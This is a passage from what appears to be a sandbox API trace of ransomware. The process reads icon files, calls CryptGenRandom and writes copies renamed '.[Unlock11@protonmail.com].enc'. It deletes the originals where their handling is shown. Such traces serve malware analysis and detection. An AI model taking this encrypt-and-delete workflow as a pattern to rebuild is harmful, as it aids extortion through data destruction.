lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.980] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.980] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.980] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.980] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.981] GetLastError () returned 0x0 [0114.981] GetCurrentThreadId () returned 0x9b0 [0114.981] GetLastError () returned 0x0 [0114.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a48 | out: hHeap=0x2ad0000) returned 1 [0114.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0114.981] GetLastError () returned 0x0 [0114.981] GetLastError () returned 0x0 [0114.981] GetLastError () returned 0x0 [0114.981] GetLastError () returned 0x0 [0114.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0114.981] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6a68 [0114.981] GetLastError () returned 0x0 [0114.982] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0114.982] GetFileType (hFile=0x3ac) returned 0x1 [0114.982] GetLastError () returned 0x0 [0114.982] GetCurrentThreadId () returned 0x9b0 [0114.982] GetLastError () returned 0x0 [0114.982] GetFileType (hFile=0x3ac) returned 0x1 [0114.982] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.982] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.982] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.982] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.983] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.983] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.983] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.983] GetLastError () returned 0x0 [0114.983] GetCurrentThreadId () returned 0x9b0 [0114.983] GetLastError () returned 0x0 [0114.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a68 | out: hHeap=0x2ad0000) returned 1 [0114.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2720 | out: hHeap=0x2ad0000) returned 1 [0114.983] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0114.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0114.983] GetLastError () returned 0x0 [0114.983] GetLastError () returned 0x0 [0114.983] GetCurrentThreadId () returned 0x9b0 [0114.983] GetLastError () returned 0x0 [0114.984] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0114.984] GetLastError () returned 0x0 [0114.984] GetLastError () returned 0x0 [0114.984] GetCurrentThreadId () returned 0x9b0 [0114.984] GetLastError () returned 0x0 [0114.984] GetLastError () returned 0x0 [0114.986] GetLastError () returned 0x0 [0114.986] GetCurrentThreadId () returned 0x9b0 [0114.986] GetLastError () returned 0x0 [0114.986] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x393) returned 0x35c5908 [0114.986] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x395) returned 0x35c5908 [0114.986] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a38 [0114.986] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ba8 | out: hHeap=0x2ad0000) returned 1 [0114.986] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x398) returned 0x382d310 [0114.986] GetCurrentThreadId () returned 0x9b0 [0114.986] GetLastError () returned 0x0 [0114.986] GetLastError () returned 0x0 [0114.986] GetLastError () returned 0x0 [0114.987] GetLastError () returned 0x0 [0114.987] GetCurrentThreadId () returned 0x9b0 [0114.987] GetLastError () returned 0x0 [0114.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382d310 | out: hHeap=0x2ad0000) returned 1 [0114.987] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0114.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0114.987] GetLastError () returned 0x0 [0114.987] GetLastError () returned 0x0 [0114.987] GetCurrentThreadId () returned 0x9b0 [0114.987] GetLastError () returned 0x0 [0114.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265248 | out: hHeap=0x2ad0000) returned 1 [0114.987] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5ca8 [0114.988] GetLastError () returned 0x0 [0114.988] GetLastError () returned 0x0 [0114.988] GetCurrentThreadId () returned 0x9b0 [0114.988] GetLastError () returned 0x0 [0114.988] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ca8 | out: hHeap=0x2ad0000) returned 1 [0114.988] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.988] GetLastError () returned 0x0 [0114.989] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0114.989] CloseHandle (hObject=0x3ac) returned 1 [0114.989] GetLastError () returned 0x0 [0114.989] GetCurrentThreadId () returned 0x9b0 [0114.989] GetLastError () returned 0x0 [0114.990] GetLastError () returned 0x0 [0114.990] CloseHandle (hObject=0x39c) returned 1 [0114.990] GetLastError () returned 0x0 [0114.990] GetCurrentThreadId () returned 0x9b0 [0114.990] GetLastError () returned 0x0 [0114.990] GetLastError () returned 0x0 [0114.990] GetLastError () returned 0x0 [0114.990] GetLastError () returned 0x0 [0114.990] GetLastError () returned 0x0 [0114.990] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 1 [0114.991] GetLastError () returned 0x0 [0114.991] GetCurrentThreadId () returned 0x9b0 [0114.991] GetLastError () returned 0x0 [0114.991] GetCurrentThreadId () returned 0x9b0 [0114.992] GetLastError () returned 0x0 [0114.992] GetLastError () returned 0x0 [0114.992] GetLastError () returned 0x0 [0114.992] GetLastError () returned 0x0 [0114.992] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico", lpFilePart=0x9bada4*="Rotate2.ico") returned 0x2a [0114.992] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0114.992] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0114.992] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0114.992] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0114.992] GetCurrentThreadId () returned 0x9b0 [0114.992] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.993] GetLastError () returned 0x0 [0114.993] GetLastError () returned 0x0 [0114.993] GetLastError () returned 0x0 [0114.993] GetLastError () returned 0x0 [0114.993] GetCurrentThreadId () returned 0x9b0 [0114.993] GetLastError () returned 0x0 [0114.993] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.993] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.993] GetLastError () returned 0x0 [0114.993] GetLastError () returned 0x0 [0114.993] GetLastError () returned 0x0 [0114.994] GetLastError () returned 0x0 [0114.994] GetCurrentThreadId () returned 0x9b0 [0114.994] GetLastError () returned 0x0 [0114.994] GetCurrentThreadId () returned 0x9b0 [0114.994] GetLastError () returned 0x0 [0114.994] GetLastError () returned 0x0 [0114.994] GetLastError () returned 0x0 [0114.994] GetLastError () returned 0x0 [0114.994] GetCurrentThreadId () returned 0x9b0 [0114.994] GetLastError () returned 0x0 [0114.994] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.995] GetLastError () returned 0x0 [0114.995] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6618 | out: hHeap=0x2ad0000) returned 1 [0114.995] GetLastError () returned 0x0 [0114.995] GetLastError () returned 0x0 [0114.995] GetLastError () returned 0x0 [0114.995] GetCurrentThreadId () returned 0x9b0 [0114.995] GetLastError () returned 0x0 [0114.995] GetLastError () returned 0x0 [0114.995] GetLastError () returned 0x0 [0114.995] GetLastError () returned 0x0 [0114.995] GetLastError () returned 0x0 [0114.995] GetCurrentThreadId () returned 0x9b0 [0114.996] GetLastError () returned 0x0 [0114.996] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0114.996] GetLastError () returned 0x0 [0114.996] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6078 | out: hHeap=0x2ad0000) returned 1 [0114.996] GetLastError () returned 0x0 [0114.996] GetLastError () returned 0x0 [0114.996] GetLastError () returned 0x0 [0114.996] GetCurrentThreadId () returned 0x9b0 [0114.996] GetLastError () returned 0x0 [0114.996] GetLastError () returned 0x0 [0114.996] GetLastError () returned 0x0 [0114.996] GetLastError () returned 0x0 [0114.997] GetLastError () returned 0x0 [0114.997] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0114.997] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1 [0114.997] GetLastError () returned 0x0 [0114.997] GetCurrentThreadId () returned 0x9b0 [0114.997] GetLastError () returned 0x0 [0114.997] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0114.997] GetCurrentThreadId () returned 0x9b0 [0114.997] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664aac | out: pbBuffer=0x3664aac) returned 1 [0114.997] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0114.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0114.998] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0114.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.998] GetLastError () returned 0x0 [0114.998] GetLastError () returned 0x0 [0114.998] GetLastError () returned 0x0 [0114.998] GetLastError () returned 0x0 [0114.998] GetCurrentThreadId () returned 0x9b0 [0114.998] GetLastError () returned 0x0 [0114.998] GetCurrentThreadId () returned 0x9b0 [0114.998] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.999] GetLastError () returned 0x0 [0114.999] GetLastError () returned 0x0 [0114.999] GetLastError () returned 0x0 [0114.999] GetLastError () returned 0x0 [0114.999] GetCurrentThreadId () returned 0x9b0 [0114.999] GetLastError () returned 0x0 [0114.999] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.999] GetCurrentThreadId () returned 0x9b0 [0114.999] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6a28 [0114.999] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0114.999] GetLastError () returned 0x0 [0114.999] GetLastError () returned 0x0 [0114.999] GetLastError () returned 0x0 [0115.000] GetLastError () returned 0x0 [0115.000] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0115.000] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6b78 [0115.000] GetLastError () returned 0x0 [0115.000] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0115.000] GetFileType (hFile=0x39c) returned 0x1 [0115.000] GetLastError () returned 0x0 [0115.001] GetCurrentThreadId () returned 0x9b0 [0115.001] GetLastError () returned 0x0 [0115.001] GetFileType (hFile=0x39c) returned 0x1 [0115.001] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0115.001] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.001] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.001] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.001] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.001] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.001] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.001] GetLastError () returned 0x0 [0115.001] GetCurrentThreadId () returned 0x9b0 [0115.001] GetLastError () returned 0x0 [0115.002] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6b78 | out: hHeap=0x2ad0000) returned 1 [0115.002] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0115.002] GetLastError () returned 0x0 [0115.002] GetLastError () returned 0x0 [0115.002] GetLastError () returned 0x0 [0115.002] GetLastError () returned 0x0 [0115.002] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0115.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6b68 [0115.002] GetLastError () returned 0x0 [0115.002] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0115.003] GetFileType (hFile=0x3ac) returned 0x1 [0115.003] GetLastError () returned 0x0 [0115.003] GetCurrentThreadId () returned 0x9b0 [0115.003] GetLastError () returned 0x0 [0115.003] GetFileType (hFile=0x3ac) returned 0x1 [0115.003] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0115.003] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.003] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.003] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.003] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.003] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.003] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.003] GetLastError () returned 0x0 [0115.004] GetCurrentThreadId () returned 0x9b0 [0115.004] GetLastError () returned 0x0 [0115.004] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6b68 | out: hHeap=0x2ad0000) returned 1 [0115.004] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a26c8 | out: hHeap=0x2ad0000) returned 1 [0115.004] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0115.004] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0115.004] GetLastError () returned 0x0 [0115.004] GetLastError () returned 0x0 [0115.004] GetCurrentThreadId () returned 0x9b0 [0115.004] GetLastError () returned 0x0 [0115.004] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0115.005] GetLastError () returned 0x0 [0115.005] GetLastError () returned 0x0 [0115.005] GetCurrentThreadId () returned 0x9b0 [0115.005] GetLastError () returned 0x0 [0115.005] GetLastError () returned 0x0 [0115.177] GetLastError () returned 0x0 [0115.177] GetCurrentThreadId () returned 0x9b0 [0115.177] GetLastError () returned 0x0 [0115.177] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x393) returned 0x35c5908 [0115.178] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x395) returned 0x35c5908 [0115.178] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a48 [0115.178] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a28 | out: hHeap=0x2ad0000) returned 1 [0115.178] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x398) returned 0x382d310 [0115.178] GetCurrentThreadId () returned 0x9b0 [0115.178] GetLastError () returned 0x0 [0115.178] GetLastError () returned 0x0 [0115.178] GetLastError () returned 0x0 [0115.178] GetLastError () returned 0x0 [0115.178] GetCurrentThreadId () returned 0x9b0 [0115.178] GetLastError () returned 0x0 [0115.179] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382d310 | out: hHeap=0x2ad0000) returned 1 [0115.179] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0115.179] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0115.179] GetLastError () returned 0x0 [0115.179] GetLastError () returned 0x0 [0115.179] GetCurrentThreadId () returned 0x9b0 [0115.179] GetLastError () returned 0x0 [0115.179] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265248 | out: hHeap=0x2ad0000) returned 1 [0115.179] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5ca8 [0115.179] GetLastError () returned 0x0 [0115.179] GetLastError () returned 0x0 [0115.179] GetCurrentThreadId () returned 0x9b0 [0115.180] GetLastError () returned 0x0 [0115.180] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ca8 | out: hHeap=0x2ad0000) returned 1 [0115.180] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0115.180] GetLastError () returned 0x0 [0115.181] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0115.181] CloseHandle (hObject=0x3ac) returned 1 [0115.181] GetLastError () returned 0x0 [0115.181] GetCurrentThreadId () returned 0x9b0 [0115.181] GetLastError () returned 0x0 [0115.181] GetLastError () returned 0x0 [0115.181] CloseHandle (hObject=0x39c) returned 1 [0115.182] GetLastError () returned 0x0 [0115.182] GetCurrentThreadId () returned 0x9b0 [0115.182] GetLastError () returned 0x0 [0115.182] GetLastError () returned 0x0 [0115.182] GetLastError () returned 0x0 [0115.182] GetLastError () returned 0x0 [0115.182] GetLastError () returned 0x0 [0115.182] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 1 [0115.183] GetLastError () returned 0x0 [0115.183] GetCurrentThreadId () returned 0x9b0 [0115.183] GetLastError () returned 0x0 [0115.183] GetCurrentThreadId () returned 0x9b0 [0115.183] GetLastError () returned 0x0 [0115.184] GetLastError () returned 0x0 [0115.184] GetLastError () returned 0x0 [0115.184] GetLastError () returned 0x0 [0115.184] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico", lpFilePart=0x9bada4*="Rotate3.ico") returned 0x2a [0115.184] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0115.184] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0115.184] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0115.184] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0115.184] GetCurrentThreadId () returned 0x9b0 [0115.184] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0115.184] GetLastError () returned 0x0 [0115.185] GetLastError () returned 0x0 [0115.185] GetLastError () returned 0x0 [0115.185] GetLastError () returned 0x0 [0115.185] GetCurrentThreadId () returned 0x9b0 [0115.185] GetLastError () returned 0x0 [0115.185] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0115.185] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0115.185] GetLastError () returned 0x0 [0115.185] GetLastError () returned 0x0 [0115.185] GetLastError () returned 0x0 [0115.185] GetLastError () returned 0x0 [0115.185] GetCurrentThreadId () returned 0x9b0 [0115.186] GetLastError () returned 0x0 [0115.186] GetCurrentThreadId () returned 0x9b0 [0115.186] GetLastError () returned 0x0 [0115.186] GetLastError () returned 0x0 [0115.186] GetLastError () returned 0x0 [0115.186] GetLastError () returned 0x0 [0115.186] GetCurrentThreadId () returned 0x9b0 [0115.186] GetLastError () returned 0x0 [0115.186] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0115.186] GetLastError () returned 0x0 [0115.186] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6348 | out: hHeap=0x2ad0000) returned 1 [0115.186] GetLastError () returned 0x0 [0115.187] GetLastError () returned 0x0 [0115.187] GetLastError () returned 0x0 [0115.187] GetCurrentThreadId () returned 0x9b0 [0115.187] GetLastError () returned 0x0 [0115.187] GetLastError () returned 0x0 [0115.187] GetLastError () returned 0x0 [0115.187] GetLastError () returned 0x0 [0115.187] GetLastError () returned 0x0 [0115.187] GetCurrentThreadId () returned 0x9b0 [0115.187] GetLastError () returned 0x0 [0115.187] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a928 | out: hHeap=0x2ad0000) returned 1 [0115.187] GetLastError () returned 0x0 [0115.188] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0115.188] GetCurrentThreadId () returned 0x9b0 [0115.188] GetCurrentThreadId () returned 0x9b0 [0115.188] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1 [0115.188] GetCurrentThreadId () returned 0x9b0 [0115.188] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664bc4 | out: pbBuffer=0x3664bc4) returned 1 [0115.188] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0115.189] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34acad0 [0115.189] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0115.189] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0115.189] GetCurrentThreadId () returned 0x9b0 [0115.189] GetCurrentThreadId () returned 0x9b0 [0115.189] GetCurrentThreadId () returned 0x9b0 [0115.189] GetCurrentThreadId () returned 0x9b0 [0115.189] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0115.189] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6b58 [0115.189] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34acad0 | out: hHeap=0x2ad0000) returned 1 [0115.189] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0115.190] GetFileType (hFile=0x39c) returned 0x1 [0115.190] GetCurrentThreadId () returned 0x9b0 [0115.190] GetFileType (hFile=0x39c) returned 0x1 [0115.190] 